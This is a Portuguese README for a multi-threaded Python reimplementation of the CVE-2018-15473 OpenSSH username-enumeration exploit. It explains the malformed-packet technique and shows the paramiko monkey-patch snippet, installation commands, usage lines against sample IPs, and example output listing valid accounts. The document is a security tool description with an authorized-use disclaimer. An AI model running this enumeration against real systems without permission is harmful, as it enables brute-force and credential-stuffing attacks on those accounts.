
Uma reimplementação em Python 3 do clássico exploit de enumeração de usuários do OpenSSH CVE-2018-15473, estendida com multi-threading, suporte a wordlists, detecção automática de vulnerabilidades e correção thread-safe do exploit.
Uma reimplementação em Python 3 do clássico exploit de enumeração de usuários do OpenSSH CVE-2018-15473, estendida com multi-threading, suporte a wordlists, detecção automática de vulnerabilidade e patch thread-safe do exploit.
A CVE-2018-15473 é uma vulnerabilidade de enumeração de usuários que afeta as versões 2.3 a 7.7 do OpenSSH.
A vulnerabilidade surge de uma diferença sutil na forma como o servidor OpenSSH responde a tentativas de autenticação para usernames válidos vs inválidos. Ao criar um pacote de autenticação de chave pública malformado, um atacante pode observar o comportamento do servidor e determinar se um determinado username existe no sistema — sem precisar saber a senha do usuário.
Essas informações podem ser um primeiro passo crítico em um ataque direcionado de força bruta ou de credential stuffing.
| Detalhe | Valor |
|---|---|
| ID CVE | CVE-2018-15473 |
| Versões Afetadas | OpenSSH 2.3 – 7.7 |
| Pontuação CVSS | 5.3 (Média) |
| Tipo | Divulgação de Informações / Enumeração de Usuários |
O fluxo de autenticação do OpenSSH normalmente funciona assim:
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
O exploit abusa do estágio MSG_SERVICE_ACCEPT. Quando o servidor envia de volta um MSG_SERVICE_ACCEPT, espera-se que o cliente anexe um campo booleano ao pacote MSG_USERAUTH_REQUEST subsequente. Ao aplicar patch no método Message.add_boolean do paramiko para que ele se torne um no-op, a ferramenta envia um pacote de autenticação malformado/truncado.
O servidor OpenSSH então se comporta de maneira diferente dependendo se o username existe:
MSG_USERAUTH_FAILURE (o username não existe, não há motivo para verificar a chave)AuthenticationException (ele tentou verificar a chave, confirmando que o usuário existe)Esta ferramenta intercepta essas duas respostas por meio de handlers do paramiko com patch (_parse_userauth_failure e _parse_service_accept) e classifica cada username de acordo.
O PoC original aplica o patch em add_boolean permanentemente, o que causa uma race condition quando múltiplas threads são executadas simultaneamente — as threads interferem nos handshakes umas das outras, gerando erros falsos de SSH negotiation failed. Esta reimplementação envolve o patch em um threading.Lock(), tornando a troca atômica:
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap para verificar se o alvo está executando uma versão vulnerável do OpenSSH antes da varreduraparamikopython-nmapnmap (binário do sistema, deve estar instalado)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate
# Install dependencies
pip install paramiko python-nmap
Certifique-se de que o nmap esteja instalado no seu sistema:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
Verificar um único username:
python main.py 192.168.1.10 -u root
Enumerar uma wordlist com as threads padrão:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
Enumerar com quantidade de threads e porta personalizados:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
Exemplo de saída:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
Esta ferramenta é uma reimplementação e extensão em Python 3 do exploit proof-of-concept original. Todo o crédito pela descoberta e documentação desta vulnerabilidade vai para os pesquisadores originais:
Exploit original: https://leapsecurity.io
Esta reimplementação adiciona:
Esta ferramenta é destinada apenas para fins educacionais e testes de penetração autorizados.
Usar esta ferramenta contra sistemas que você não possui ou não tem permissão explícita por escrito para testar é ilegal e antiético.
O autor não assume nenhuma responsabilidade pelo uso indevido deste software.
Pratique sempre a divulgação responsável.
| Autenticação Necessária | Não |
| Função | Nome / Handle |
|---|
| Autor do PoC Original | Leap Security (@LeapSecurity) |
| Pesquisa de Vulnerabilidade | Matthew Daley |
| Pesquisa de Vulnerabilidade | Justin Gardner |
| Pesquisa de Vulnerabilidade | Lee David Painter |